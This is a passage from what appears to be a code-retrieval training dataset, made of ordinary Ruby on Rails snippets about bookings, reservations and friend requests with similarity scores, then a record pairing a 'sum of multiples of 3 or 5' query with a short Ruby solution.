end", "def booking_email(reservation) #customer, host, reservtion_id\n @user = reservation.user #appoint reservation user id(email,name)\n @host = reservation.listing.user #appoint listing user(email,name)\n @listing = reservation.listing #appoint reservation. listing(which id)\n\n mail(to: @user.email, subject: \"Thank you for your booking.\") #after all info appointed, send an email to user(customer)\n end", "def booking_params\n params.require(:booking).permit(:user_id, :room_id, :booking_start_time, :email)\n end", "def booking_params\n params.permit(:client_email, :start_at, :end_at)\n end", "def booking_params\n params.require(:booking).permit(\n :ad_item_id, :starts_at, :ends_at, :ends_at_date,\n :ends_at_time, :starts_at_date, :starts_at_time, :status,\n :user_payment_card_id\n )\n end", "def overlapping_dates\n reservation = Reservation.find(params[:id])\n space = reservation.space\n\n start_date = reservation.start_date.to_date\n end_date = reservation.end_date.to_date\n\n confirmed_bookings = space.reservations.where(approved: true)\n\n check = confirmed_bookings.where('? <= DATE(start_date) AND DATE(end_date) <= ?', start_date, end_date)\n return unless check.any?\n\n flash[:danger] = 'You already confirmed another booking request with overlapping dates.'\n redirect_to your_reservations_path\n end", "def my_requests\n\t\tuser = current_user\n\n\t\t# get all requests accepted by user\n\t\t# in the future, edit this to filter out fulfilled (completed)\n\t\t@accepted_requests = user.accepteds\n\tend", "def book_server(user)\n query = {\n key: SSC_API_KEY,\n user: user,\n hours: MAX_MATCH_LENGTH,\n }\n result = Net::HTTP.post_form(URI.parse(SSC_ENDPOINT + \"/bookings/?#{query.to_query}\"), {})\n\n json = JSON.parse result.body\n if result.code != '200'\n puts \"Error: Failed booking for #{user}, #{json['statusMessage']}\"\n return nil\n end\n json['server']['connect-string']\nend", "def booking_params\n params_new = params.require(:booking).permit(:start_date, :end_date)\n params_new[:listing_id] = params[:listing_id].to_i\n if params_new[:listing_id] == 0\n params_new[:listing_id] = Booking.find(params[:id]).listing_id\n end\n params_new[:customer_id] = session[:customer_id]\n return params_new\n end", "def requestees\n @requestees_arr = []\n current_user= User.where(id: self.id)\n requestees = current_user[0].request_received\n\n requestees.each do |r|\n @requestees_arr.push(r.user)\n end\n\n @requestees_arr\n \n\n end", "def so_update_request_select_from_client\n client = params[:client]\n project = params[:project]\n projects = projects_dropdown\n if client != '0' && project != 0\n @client = Client.find(client)\n @project = Project.find(project)\n if @project.blank?\n @contracting_requests = @client.blank? ? projects_contracting_requests(projects) : @client.connection_requests.by_no\n else\n @contracting_requests = @client.blank? ? projects_contracting_requests(@project) : @client.connection_requests.belongs_to_project(@project)\n end\n elsif client != 0\n @client = Client.find(client)\n @contracting_requests = @client.blank? ? projects_contracting_requests(projects) : @client.connection_requests.by_no\n else\n @contracting_requests = projects_contracting_requests(projects)\n end\n # Contracting requests array\n @constracting_requests_dropdown = contracting_requests_array(@contracting_requests)\n # Setup JSON\n @json_data = { \"contracting_request\" => @constracting_requests_dropdown }\n render json: @json_data\n end", "def request_params\n params.require(:request).permit(:space_id, :booked_date).merge(user_id: current_user.id)\n end", "def booking_params\n params.require(:booking)\n .permit(:user_id, :hotel_id, :room_id, :check_in_date, :check_out_date, :stay_description)\n end", "def pending_friend_requests_to\n self.friendships.where(state: \"pending\")\n end", "def create\n # Check for dates/times overlapping\n puts current_user[:id], \"CURRENT USER\"\n overlap = Booking.where('end_date > ? AND start_date < ?', booking_params[:start_date], booking_params[:end_date])\n\n # If room is free, create booking\n if overlap.length.zero? \n booking = Booking.create!(booking_params)\n render json: { status: 'SUCCESS', message: 'Booking created', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Cannot create booking, date already booked' }, status: :unprocessable_entity\n end\n end", "def approval\n @appointments = Appointment.in_clinic(@admin).requests.\n order_by_time.includes(:doctor, :patient).not_past\n end", "def show\n @requests = Request.where(pet_id: params[:id]).all\n users_id = Array.new(@requests.size) \n @requests.each do |req|\n users_id.push([req.interented_id])\n end\n @interested = User.find(users_id)\n end", "def booking_params\n params.require(:booking).permit(:user_id, :room_id, :book_date, :timespot_id)\n end", "def index\n @bookings = Booking.where(user_id: current_user.id)\n end", "def show_booking_screen\n @arrival_date = params[\"arrival_date\"] || \"12/25/2012\" \n @departure_date = params[\"departure_date\"] || \"12/30/2012\"\n rooms = JSON.parse(params[\"rooms\"])\n params[\"number_of_rooms\"] = rooms.size\n room_info1 = params[\"room_info1\"]\n room_info2 = params[\"room_info2\"]\n room_detail = JSON.parse(params[\"room_detail\"])\n hotel_id = params[\"id\"]\n # reconvert into hash\n @room = JSON.parse(params[\"room\"])\n @money_sign = params[\"money_sign\"]\n @room_detail = room_detail[\"descriptionLong\"].to_s\n @room_detail_short = room_detail[\"description\"].to_s\n @cancellationPolicy = params[\"cancellation_policy\"].to_s\n book_room = JSON.parse(params[\"book_info\"])\n @number_of_rooms = rooms.size\n @noti_fee = book_room[\"checkInInstructions\"]\n @hotel_name = book_room[\"hotelName\"]\n @hotel_id = book_room[\"hotelId\"]\n @room_info = params[\"room_info\"]\n @hotel_rating = params[\"hotel_rating\"]\n @address = params[\"address\"]\n @city = params[\"city\"]\n @stateProvinceCode = params[\"stateProvinceCode\"]\n @countryCode = params[\"countryCode\"]\n @bed_types = hotel_service.get_bed_type(@room[\"BedTypes\"])\n @smoking_preferences = SMOKING_PREFERRNCES\n @credit_card_types = CREDIT_CARD_TYPES\n @check_in_time = params[\"check_in_time\"]\n @check_out_time = params[\"check_out_time\"]\n end", "def reservations_by_date(date_query)\n res_list = []\n @reservations.each do |res|\n if res.range.include?(date_query)\n res_list << res\n end\n end \n return res_list \n end", "def listings\n\t\t@current_user ||= User.find(session[:user_id]) if session[:user_id]\n\t\t@listings = Listing.find_all_by_user_id(@current_user)\n\tend", "def index\n @reader_requests = BookRequest.get_holder_requests_by_account(@account).paginate(page: params[:page])\n end", "def reservations_by_date(date)\n date = Date.parse(date)\n list_res = []\n @reservations.each do |reservation|\n if reservation.check_in_date <= date && reservation.check_out_date >= date\n list_res << reservation\n end\n end\n return list_res\n end", "def booking_params\n params.require(:booking).permit(:booking_reference, :institution, :ticket_type, :access_req, :catering, :certificate, :attended, :dietary_req, :conference_id, :user_id)\n end", "def get_bike_ids(user_id)\n user = User.find_by(id: user_id)\n authorize_time_check(user)\n response = RestClient.get('https://www.strava.com/api/v3/athlete/activities?per_page=200', {Authorization: 'Bearer ' + user.access_token})\n json = JSON.parse(response)\n bike_ids = []\n json.each { |activity|\n if activity[\"gear_id\"] && activity[\"gear_id\"][0] == \"b\"\n bike_ids.push(activity[\"gear_id\"])\n end }\n bike_ids.uniq!\n bike_ids\n end", "def find_requests\n @responsibility_requests = ResponsibilityRequest.paginate(:page => @page,\n :per_page => @per_page,\n :conditions => \"status='pending' OR status IS NULL\")\n \n @responsibility_requests.delete_if{|r| !r.user_can_approve(current_user) && (r.user != current_user) }\n end", "def friends_as_requester\n\t\taccepted_friendship = self.requesting_friendships.where(\"accepted = ?\", true)\n\n\t\tfriends = []\n\n\t\taccepted_friendship.each do |friendship|\n\t\t\tfriends << friendship.accepter\n\t\tend\n\n\t\tfriends\n\tend", "def index\n @username_actual = params['user']\n @reservations = Reservation.where(username: @username_actual)\n end", "def requests(job)\r\n {\r\n :list_deleted_query_rq => {\r\n :xml_attributes => { \"requestID\" =>\"1\"},\r\n :list_del_type => [\"Account\", \"Customer\", \"InventorySite\", \"ItemDiscount\", \"ItemFixedAsset\", \"ItemGroup\", \"ItemInventory\", \"ItemInventoryAssembly\", \"ItemNonInventory\", \"ItemOtherCharge\", \"ItemPayment\", \"ItemService\", \"ItemSubtotal\", \"Vendor\"],\r\n :deleted_date_range_filter => {\"from_deleted_date\" => qbwc_log_init(WorkerName), \"to_deleted_date\" => qbwc_log_end()}\r\n }\r\n }\r\n end", "def create\n @reservation = Reservation.new(reservation_params)\n \n @emailroom = Room.all.find(@reservation.room_id)\n @emaillibrary = Library.select(\"name\").find(@emailroom.library_id)\n @emailemailid = User.all.find(session[:user_id])\n @emailslot = Slot.all.find(@reservation.slot_id)\n if (@emailslot.id >= 4 && @emailslot.id <=45)\n checkslot = [(@emailslot.id - 3),(@emailslot.id - 2),(@emailslot.id - 1),(@emailslot.id),(@emailslot.id + 1),(@emailslot.id + 2), (@emailslot.id + 3)]\n else if (@emailslot.id == 1)\n checkslot = [1, 2, 3, 4, 48, 47, 46]\n else if (@emailslot.id == 2)\n checkslot = [1, 2, 3, 4, 48, 47, 5]\n if (@emailslot.id == 3)\n checkslot = [1, 2, 3, 4, 48, 6, 5]\n if (@emailslot.id == 48)\n checkslot = [1, 2, 3, 45, 48, 47, 46]\n if (@emailslot.id == 47)\n checkslot = [1, 2, 44, 45, 48, 47, 46]\n if (@emailslot.id == 46)\n checkslot = [1, 43, 44, 45, 48, 47, 46]\n end\n end\n end\n end\n end\n end\n end\n if logged_student?\n @anyres = Reservation.select('id').where('reservation_date=?', @reservation.reservation_date).where('user_id=?',@reservation.user_id)\n if (@anyres.count > 0)\n flash[:danger] = \"You already have a booking for #{@reservation.reservation_date}\"\n redirect_to new_reservation_path and return\n end\n end\n @availres = Reservation.select('id').where('room_id=?', @emailroom.id).where('reservation_date=?', @reservation.reservation_date).where(slot_id: checkslot)\n if (@availres.count > 0)\n flash[:danger] = \"room is not available for requested time\"\n redirect_to new_reservation_path\n else\n respond_to do |format|\n if @reservation.save\n \n ReservationMailer.notify_email(@emailroom.room_number, @emaillibrary.name, @emailemailid.email,\n @reservation.reservation_date,\n @emailslot.start_time).deliver_now!\n \n emails=params[:emails]\n values=emails.split(\",\")\n values.each do |value|\n ReservationMailer.notify_email(@emailroom.room_number, @emaillibrary.name, value,\n @reservation.reservation_date,\n @emailslot.start_time).deliver_now!\n end\n \n format.html { redirect_to afterlogin_path, notice: 'Reservation was successfully created.' }\n #format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n \n end\n end", "def index\n user_type = session[:user_type]\n case user_type\n when ApplicationController::TYPE_STUDENT\n if (params[:request_type] != nil)\n # request from user for checked out books\n @book_requests = BookRequest.fetch_student_requests(session[:user_id], params[:request_type])\n else\n flash[:notice] = \"Invalid request\"\n redirect_to root_path\n end\n when ApplicationController::TYPE_LIBRARIAN\n @book_requests = BookRequest.fetch_requests_by_librarian(session[:user_id])\n when ApplicationController::TYPE_ADMIN\n @book_requests = BookRequest.fetch_special_and_hold_requests\n end\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def request_reservation_within_block(id)\n block_reservation = find_reservation_by_id(id)\n\n id = block_reservation.reservations.length + 1\n room = block_reservation.rooms_available.sample\n raise ArgumentError, \"no rooms available\" if room.nil?\n\n new_reservation = Reservation.new(id, room, block_reservation.start_date,\n block_reservation.end_date, room_cost: 150)\n\n add_reservation(new_reservation,\n reservation_location: block_reservation.reservations)\n # deletes room number from available_rooms\n block_reservation.rooms_available.delete(new_reservation.room)\n\n return new_reservation\n end", "def index\n @bookings = current_user.bookings.where.not('is_canceled')\n end", "def prepare_guest_lists\n confirmed = []\n waitlist = []\n num_total = 0\n\n reservations.order(:created_at).each do |r|\n if num_total >= show.seats\n # We're already past capacity. All people join the waitlist.\n waitlist << r\n num_total += r.num\n elsif (num_total + r.num) > show.seats\n # This group puts us past capacity. Split it and waitlist the excess #.\n seats_available = (show.seats - num_total)\n r_waitlisted = r.dup\n r.num = seats_available\n r_waitlisted.id = r.id # having the same id referent is important\n r_waitlisted.num -= seats_available\n\n confirmed << r\n waitlist << r_waitlisted\n num_total += (r.num + r_waitlisted.num)\n else\n # We're still within capacity.\n confirmed << r\n num_total += r.num\n end\n end\n\n [\n confirmed.sort_by{ |r| r.lname.downcase },\n waitlist # waitlist stays in order reserved\n ]\n end", "def request_trip\n\t\t@trip = Trip.find_by(_id: trip_params[:trip_id])\n\t\t# Check that the current user has not requested more than 3 trips, \n\t\t# That the user has not already requested this trip\n\t\t# and that the trip has available spaces and that the driver is not the requestor\n\t\tif current_user.trips_requested.size <= 5 && \n\t\t\t!(@trip.user_requests.include?(current_user._id)) && @trip.spaces > 0 && @trip.driver != current_user.id.to_s && !(current_user.trips_accepted.include?(@trip.id))\n\n\t\t\[email protected]_requests << current_user._id\n\t\t\tcurrent_user.trips_requested << @trip._id.to_s\n\t\t\tcurrent_user.save!\n\t\t\[email protected]!\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\ttrip: @trip\n\t\t\t}, status: 200\n\t\telse\n\t\t\t# Error handling\n\t\t\tif current_user.trips_requested.size > 5\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'This user has requested too many requests!'\n\t\t\t\t}, status: 422\n\t\t\telsif @trip.user_requests.include?(current_user._id)\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'You have already requested this trip!'\n\t\t\t\t}, status: 422\n\t\t\telsif @trip.spaces <= 0\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'There is no more space in this trip!'\n\t\t\t\t}, status: 422\n\t\t\telsif @trip.driver == current_user.id.to_s\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'You cannot request your own trip!'\n\t\t\t\t}, status: 422\n\t\t\telsif current_user.trips_accepted.include?(@trip.id)\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: \"You've already been accepted on this trip!\"\n\t\t\t\t}, status: 422\n\t\t\telse\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'Something went wrong...'\n\t\t\t\t}, status: 422\n\t\t\tend\n\t\tend\n\tend" ]
[ "0.6396313", "0.63608074", "0.57924014", "0.56113684", "0.5597698", "0.55717677", "0.55717677", "0.55717677", "0.5549683", "0.5516849", "0.5508632", "0.55073", "0.54674083", "0.5437219", "0.54329133", "0.5396922", "0.5394028", "0.53838533", "0.53683054", "0.5334283", "0.5326549", "0.53199726", "0.5299168", "0.5298227", "0.5295392", "0.52951944", "0.5267887", "0.5267294", "0.5256985", "0.5256985", "0.52558357", "0.5252353", "0.5220436", "0.5216291", "0.519806", "0.5184602", "0.5183012", "0.5178394", "0.51577777", "0.51568913", "0.515496", "0.51345736", "0.512954", "0.51245904", "0.5123216", "0.51217055", "0.5119019", "0.5112979", "0.51119405", "0.51096857", "0.51095784", "0.510957", "0.5109321", "0.5109314", "0.5101378", "0.5098242", "0.50915045", "0.50863624", "0.50845534", "0.5077742", "0.5071444", "0.50644207", "0.50638855", "0.50637484", "0.5054708", "0.50513613", "0.50478745", "0.5043462", "0.5035233", "0.5021845", "0.5018641", "0.50184184", "0.5017299", "0.501362", "0.50119674", "0.50071806", "0.5000595", "0.5000407", "0.49976927", "0.49957567", "0.4994127", "0.49857274", "0.49786386", "0.4972523", "0.49657726", "0.49637252", "0.49606654", "0.4956348", "0.4950477", "0.49459234", "0.49399284", "0.49299553", "0.49280268", "0.49243963", "0.49229223", "0.49217182", "0.4915291", "0.49142304", "0.49078873", "0.49044615" ]
0.6759875
0
return sum[:price] each loop
def food_stand(hash) sum = 0 hash.each do |k, v| # hash[k] = v sum += v end return sum end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_all_the_prices(products)\n sum = 0\n products.each do |product|\n sum = sum + ( product[:price] * product[:quantity])\n end\n sum\nend", "def total_price\n items.map(&:price).sum\n end", "def meal_price\n price = 0\n PRIX.each do |k, v|\n v.each do |key, value|\n price = value + price\n end\n end\n return price\nend", "def calculated_price\n recipe_ingredients.map(&:price).sum\n end", "def total(prices)\n amount = 0\n prices.each do |price|\n amount += price\n end\n amount\nend", "def regular_price(arr)\n arr.map { |id| Product.find(id).price }.sum\n end", "def total(prices)\n amount = 0\n prices.each do |price|\n amount += price\n end\n amount\nend", "def total(prices)\n amount = 0\n #From this:\n #index = 0\n #while index < prices.length\n # amount+= prices[index]\n # index += 1\n #end\n #To this:\n prices.each do |price|\n amount += price\n end\n amount\nend", "def summ\n result = 0.0\n self.propose_items.each do |item|\n result += item.price\n end\n return result\n end", "def total_price\n sum = 0\n line_items.to_a.sum do |check|\n check.total_price.to_i\n end\n\t\nend", "def total(prices)\n total = 0\n i = 0\n while i < prices.length\n total += prices[i]\n i += 1\n end\n total\nend", "def running_total\n sum = 0.00\n @items.each { |item| sum += item[\"price\"] }\n return sum\n end", "def total_price\n # convert to array so it doesn't try to do sum on database directly\n @total = 0\n line_items.each do |item|\n @total = item.price\n end\n line_items.to_a.sum {|item| (item.quantity * item.price) }\n end", "def sum_prices(products)\n sum = 0.0\n products.each do |product|\n product[VARIANTS_FIELD].each do |variant_product|\n sum += variant_product[PRICE_VARIANT_FIELD].to_f\n end\n end\n sum.round(2)\nend", "def items_total_cost(i)\n i[:count] * i[:price]\nend", "def money(trips)\n revenue_array = []\n\n trips.each do |trip|\n revenue_array << trip[:cost]\n end\n\n total_money = revenue_array.sum\n return total_money\nend", "def subtotal\n items.map(&:price).reduce(&:+)\n end", "def total_price(list)\r\n price = list[\"cocktail\"]*22 + list[\"beer\"]*12 + list[\"water\"]*6\r\n return price\r\nend", "def total_price\n total = 0\n self.transactions.each do |t|\n total += t.price\n end\n total\n end", "def sum_prices(price_mapping)\n sum = 0\n\n price_mapping.each do |name, price|\n sum += price\n end\n\n return sum\nend", "def sum_all_the_articles(products)\n sum = 0\n products.each do |product|\n sum = sum + product[:quantity]\n end\n sum\nend", "def fullPrice(release)\n totalPrice = 0\n release.each {|song| totalPrice = totalPrice + song.price}\n return totalPrice\nend", "def total_price\n line_items.to_a.sum {|item| item.total_price}\n end", "def price\n booking_price + options.map(&:price).sum\n end", "def total\n return 0 if @products.empty?\n total = (@products.sum { |name, price| price } * 1.075).round(2)\n return total\n end", "def total_price\n self.line_items.each.sum {|li| li.total_price}\n end", "def sum\n return chosen_options.collect(&:price).sum\n end", "def sub_total\n sum = 0\n line_items.each do |line_item|\n sum += line_item.total_price\n end\n sum\n end", "def total\n\t\tprices = line_items.map {|li| li.price}\n\t\tprices.reduce(0) {|it0, it1| it0+it1}\n\tend", "def single_price\n product.price + product_options.map { |po| po.price }.sum\n end", "def total_product_price\n total_price = @products.map{|product| product.price}\n total_price.reduce(:+) \n end", "def total(bill)\n sum=0.0\n bill.items.each do |i|\n sum += i.price\n end\n return sum\n end", "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "def total_full_price\n # convert to array so it doesn't try to do sum on database directly\n line_items.to_a.sum(&:total_full_price)\n end", "def total_price\n hash[\"TotalPrice\"]\n end", "def total\n total = @products.map do |product, price|\n price\n end\n\n return (total.sum * 1.074).round(2)\n end", "def create_receipt\n total_cost = 0\n @basket.each {|item, quantity|\n total_cost += price(item,quantity)\n }\n total_cost\nend", "def total_price\n line_items.map { |line_item| line_item.item.price * line_item.quantity }.sum\n end", "def cart_before_tax\n#go into our array\n#get product price before tx\n#sum the array\nsum_base_price = []\n\n @@shopping_cart.each do |product|\n sum_base_price << product.base_price\n end\n\nreturn sum_base_price.sum\n\n\nend", "def total_price\n self.ice_cream_orders.map { |ico| ico.ice_cream.price }.inject(:+)\n end", "def total_base_price\n tickets.map(&:base_price).sum\n end", "def total\n total = 0\n @products.values.each do |price|\n total += price\n end\n total += (0.075 * total).round(2)\n end", "def total_price\n \tresult = 0;\n \titems = self.temp_order_items\n\n \titems.each do |item|\n \t\tresult += item.price\n \tend\n \treturn result\n end", "def total_price\n @file.map { |f| f[2..3].map(&:to_f) }.flatten.reduce(:+)\n end", "def total_value_in_stock\n sum = 0.0\n @books_in_stock.each { |book| sum += book.price }\n sum\n end", "def sum_prices(vending_mapping)\n sum = 0\n\n vending_mapping.each do |location, food_item|\n sum += food_item['price']\n end\n\n return sum\nend", "def total_price\n line_items.to_a.sum { |item| item.total_price}\n end", "def each_driver_money(driver)\n money = driver[:rides].map.sum do |ride|\n ride[:cost]\n end\n return money\nend", "def total_price\n\t\tline_items.to_a.sum{|item| item.total_price}\n\tend", "def total\n # extracts all of the values from the hash and sums them up\n cost = @products.values.sum\n # add 7.5% tax and round to two decimal places\n return (cost * 1.075).round(2)\n end", "def total\n total_amount = 0\n @order.each do |product, quantity|\n prod_price = PRODUCTS[product]\n if @pricing_rules.key?(product)\n rule = @pricing_rules[product]\n n = rule[1]\n type = rule[0]\n case type\n when \"Nx1\"\n total_amount += prod_price*( quantity/n + quantity%n )\n when \"BULK\"\n disccount_price = rule[2]\n total_amount += quantity * (quantity < n ? prod_price : disccount_price) #disccount price\n end\n else\n total_amount += prod_price * quantity\n end\n end\n total_amount\n end", "def value\n @contents.reduce(0){|sum,pizza| sum + pizza.price }\n end", "def value\n @items.map{ |x| x.price * x.quantity}.inject(:+)\n end", "def calc_sum_of_exp(expenses)\n prices = []\n expenses.each do |num|\n prices << num['price'].to_f\n end\n return prices.inject(0, :+)\nend", "def product_tot_sales(array_item)\n\tprice_only = array_item[\"purchases\"].map {| my_price | my_price[\"price\"]}\n \tprice_only.inject(:+)\nend", "def value ## works great, needed to remember .to_i in the initialize\n car_prices = stock.map{|car| car.price}\n return car_prices.sum\n end", "def cost_cal(items)\r\n price = 0\r\n items.item.each do |h|\r\n price += h[:num] * h[:price]\r\n end\r\n #profit = '%.2f' % profit\r\n puts \"Order total: $#{'%.2f' % price}\"\r\n return nil\r\nend", "def total_price\n \tresult = 0;\n \titems = self.order_items\n\n \titems.each do |item|\n \t\tresult += item.price\n \tend\n \treturn result\n end", "def opcion4(inventario)\n sum = 0\n inventario.each do |llave,valor|\n sum += valor\n end\n \n puts \"El stock total de la tienda es: #{sum}\"\nend", "def total_price\n\t\tline_items.to_a.sum { |item| item.total_price }\n\tend", "def price\n\t\tvalue = 0\n\t\tself.items.each do |item|\n\t\t\tvalue += item.product.price * item.amount\n\t\tend\n\t\tvalue\n\tend", "def total_price(cart)\n cart.sum {|item| item.price} \n end", "def calc_total(prices, shoppingList)\n filtered = shoppingList.split.select { |item| prices.has_key?(item) }\n \"%.2f\" % filtered.inject(0.00) { |total, item| prices[item] + total } \nend", "def total_subscription_price\n sum = 0\n self.subscriptions.each do |subscription|\n sum += subscription.price \n end\n sum\n end", "def total_stock_value(drinks)\n drinks.reduce(0) { |sum, drink| sum + drink[:price] }\nend", "def total\n product_total = 0\n subtotal = 0\n @products.each_value do |prices|\n subtotal += prices\n end\n product_total = (subtotal * 0.075).round(2)+ subtotal\n return product_total\n\n end", "def price\n total\n end", "def print_item_sums hash1, hash2\n sum = hash1[:price] + hash2[:price]\n p sum\nend", "def print_item_sums hash1, hash2 \n\thash1[:price] + hash2[:price]\nend", "def print_item_sums hash1, hash2\n\thash1[:price] + hash2[:price]\nend", "def price\n \n end", "def money_earned_by_driver(driver)\n sum = 0.0\n\n driver.each do |money|\n earned = money[:cost]\n sum += earned.round(2)\n end\n\n return sum\nend", "def ticket_price\n\t\t#There is no base cost\n\t\tticket_price = @price\n\t\[email protected] do |item|\n\t\tif @items.count > 5\n\t\t\tticket_price += item.price * 0.9\n\t\telse\n\t\t\tticket_price += item.price\n\t\tend\n\t\tend\n\t\tticket_price.round(2)\n\tend", "def one_stock(aliments_or_drinks)\n total= 0\n for food_or_drink in aliments_or_drinks\n total += food_or_drink.price\n end\n return total\n end", "def total\n sum = 0\n subtotal = @products.values\n subtotal.each do |price|\n sum += price.to_f\n end\n\n total = (sum * 1.075).round(2)\n return total\n end", "def sub_total_price\n line_items.inject(0) {|sum, item| sum += item.price * item.qty }\n end", "def getPriceOfProduct\n\t\[email protected]_with_object({}) do |item, products|\n \t\t\tproducts[item[:id]] = item[:price]\n\t\tend\n\tend", "def total_price\n puts \"O PRECO TOTAL DE ORDER FOI CHAMADO\"\n self.line_items.to_a.sum{ |item| item.total_price}\n end", "def compute_total_and_print()\n @total_price=0\n $final_price_list.each do |element| \n @total_price = @total_price + element\n end\n @total_sales_tax=0\n $sales_tax_list.each do |element|\n @total_sales_tax = @total_sales_tax + element\n end\n puts \"Sales Tax : #{@total_sales_tax.round(2)}\"\n puts \"Total : #{@total_price.round(2)}\"\nend", "def total\n (@products.values.sum * 1.075).round(2)\n end", "def amount_of_money(drivers)\n amount_list = []\n drivers.each do |driver|\n result = 0\n driver[:trips].each do |trip|\n trip[:details].each do |detail|\n result += detail[:cost]\n end\n end\n amount_list << { driver_id: driver[:driver_id], amount: result }\n end\n return amount_list\nend", "def find_total_pay(rides)\n moneys = 0\n rides.each do |key, value|\n moneys += key[:cost]\n end\n return moneys\nend", "def total\n total = 0\n line_items.each do |line_item|\n total += line_item.item.price * line_item.quantity\n end\n total\n end", "def total_price\r\n\t\[email protected](0.0) { |sum, i| sum + i.total_unit_price * i.quantity }\r\n\tend", "def total_price\n res = product.price * count\n if product_options.any?\n res = res + product_options.map { |po| po.price }.sum * count\n end\n res\n end", "def full_price_items(cart, cost)\n#defines a new method for full price items where we'll be working with the cost and the cart\n cart.each do |item|\n #for each item in the cart do something to it. It will be referred to as item.\n item.each do |name,attribute|\n #for each item do something with the key/value pair, now referred to as name and attribute\n cost += (attribute[:price] * attribute[:count])\n #add it to or equal it to the attribute price key times the attribute count key\n end\n end\n cost\n #again, why put this here?\nend", "def total_price\n \t\tsale_items.sum { |item| (item.product.price * item.quantity) }\n\tend", "def price\n \n end", "def total\n return @total_price \n end", "def full_price_total(count)\n count * unit_price\n end", "def total_order\n total = 0.00 #initializing total\n @selected_prices.each do |cost| #for each selected item add the total cost\n total += cost\n end\n total\n end", "def total_price\n\t price = listing.price\n\t num_dates = (start_date..end_date).to_a.length\n\t return price * num_dates\n\tend", "def total_discounted_price\n # convert to array so it doesn't try to do sum on database directly\n line_items.to_a.sum(&:total_discounted_price)\n end", "def get_total_sales(toy)\n\ttotal_sales = 0\n\ttoy['purchases'].each do |purchase|\n\t\ttotal_sales += purchase['price']\n\tend\n\treturn total_sales\nend", "def cost \n\n \[email protected](0) do |sum,hm|\n \t\tsum+=hm \n end\n puts total\n end", "def profit_cal(items)\r\n profit = 0\r\n items.item.each do |h|\r\n profit += h[:num]*(h[:price] - h[:cost])\r\n end\r\n #profit = '%.2f' % profit\r\n puts \"The total profit is $#{'%.2f' % profit}\"\r\n return nil\r\nend", "def get_all_price\n page = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\")) # ça ouvre la page web coinmarket et enregistre dans la variable page \n noko_o = page.xpath(\"//tbody/tr/td/a[@class='price']\") #je prends la page web coinmarket de la variable page et je lui extrait les prix de chaque currencies et je les stock dans la variable noko_o\n currencies_price = noko_o.map { |n| n.text.delete_prefix('$').to_f} # c'est un array qui contient la variable noko_o dont on a extrait les prix , dont on retire le symbole $ \n puts currencies_price # affiche mon tableau currencies sans le symbole $ \n\treturn currencies_price #je récupère tous les prix des monnaies \nend", "def special_prices\n prices\n end" ]
[ "0.7748594", "0.75055885", "0.7471449", "0.7450148", "0.74266905", "0.74094176", "0.7394778", "0.7373244", "0.73697275", "0.7341706", "0.7295452", "0.72255766", "0.7223427", "0.7213727", "0.7177079", "0.71136034", "0.7085814", "0.70823234", "0.7076936", "0.7053037", "0.69973874", "0.69800353", "0.6976942", "0.6946339", "0.6942655", "0.69418347", "0.6940107", "0.6935314", "0.692653", "0.691229", "0.6902763", "0.6891505", "0.6883632", "0.6883632", "0.6883632", "0.6883632", "0.6878984", "0.6875268", "0.687499", "0.6867101", "0.68588287", "0.685051", "0.6813043", "0.68052226", "0.6795208", "0.6793115", "0.6775787", "0.6762018", "0.67590857", "0.6754097", "0.67479295", "0.6740026", "0.6737679", "0.6733507", "0.67290837", "0.67246187", "0.67163366", "0.671614", "0.6713632", "0.66977185", "0.668091", "0.6660962", "0.6658053", "0.6649913", "0.6643805", "0.66351175", "0.6619232", "0.6615942", "0.6615214", "0.6600191", "0.65998125", "0.65914863", "0.65806186", "0.6578861", "0.6578205", "0.65749556", "0.65723205", "0.65713066", "0.65702605", "0.656676", "0.65609056", "0.65515155", "0.6546074", "0.6521993", "0.65039593", "0.6503215", "0.648859", "0.64729613", "0.646235", "0.64617234", "0.6459931", "0.6454081", "0.64516115", "0.64462173", "0.644589", "0.6444234", "0.64432114", "0.64252234", "0.64248896", "0.6424276", "0.6418206" ]
0.0
-1
multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000.
def multiples(num) result = [] sum = 0 i = 1 while i < num if i % 3 == 0 || i % 5 == 0 result << i end i += 1 end result.each do |digit| sum += digit end sum end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
